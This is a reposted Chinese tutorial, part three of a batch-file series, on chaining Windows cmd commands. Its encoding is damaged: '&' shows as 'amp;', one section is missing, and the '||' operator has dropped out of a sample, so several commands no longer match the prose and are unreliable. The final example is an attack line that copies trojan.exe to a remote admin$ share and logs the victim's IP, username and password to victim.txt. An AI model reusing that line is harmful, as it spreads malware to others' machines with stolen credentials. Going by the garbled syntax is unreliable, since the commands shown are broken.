批处理文件总结(三)
三.如何使用組合命令(Compound Command)
1.amp;
Usage:第一條命令 amp; 第二條命令 [amp; 第三條命令...]
用這種方法可以同時執(zhí)行多條命令,而不管命令是否執(zhí)行成功
Sample:
C:\>dir z: amp; dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif
?
3.
Usage:第一條命令 第二條命令 [ 第三條命令...]
用這種方法可以同時執(zhí)行多條命令,當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 amp;amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
轉(zhuǎn)載于:https://www.cnblogs.com/Ethan0728/archive/2009/03/23/1408687.html
總結(jié)
以上是生活随笔為你收集整理的批处理文件总结(三)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。